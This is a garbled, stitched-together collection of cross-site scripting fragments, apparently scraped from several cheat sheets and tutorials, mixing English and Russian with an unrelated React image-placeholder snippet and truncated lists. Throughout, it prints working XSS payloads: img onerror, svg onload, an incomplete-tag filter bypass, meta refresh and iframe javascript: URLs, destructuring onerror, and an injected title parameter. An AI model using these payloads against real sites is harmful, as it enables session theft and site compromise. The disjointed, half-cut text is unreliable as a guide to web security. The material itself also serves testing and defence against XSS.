</script><img src=x onerror=alert(1)>. Если вы не собираетесь переключаться на HTML контекст, тогда вам нужно специально обработать ввод в зависимости от специфичного JavaScript контекста, в котором он появляется.
In this case if attacker set untrusted content title as “This is a regular title&content_type=1;alert(1)” the link in "Content" page would be this
...caption center cite code col colgroup command content data datalist dd del details dfn dialog dir div dl dt element em embed fieldset figcaption figure font footer form frame frameset h1 head header hgroup hr html i iframe image img.
<svg onload=alert('XSS')>. But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Bypass with incomplete html tag. Works on IE/Firefox/Chrome/Safari. <img src='1' onerror='alert(0)' <.
Here, we have image values, either broken, incorrect, or empty. The img tag in React takes a prop onError function that runs when the image URL is broken. In the onImageError function, we have replaced image src with placeholderImage to fetch the placeholder.
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript:alert(document.location&rpar
2.6 Alert Obfuscation. 2.7 XSS payload.
<script>var{a:onerror}={a:alert};throw 1</script>. Destructuring using default values and onerror.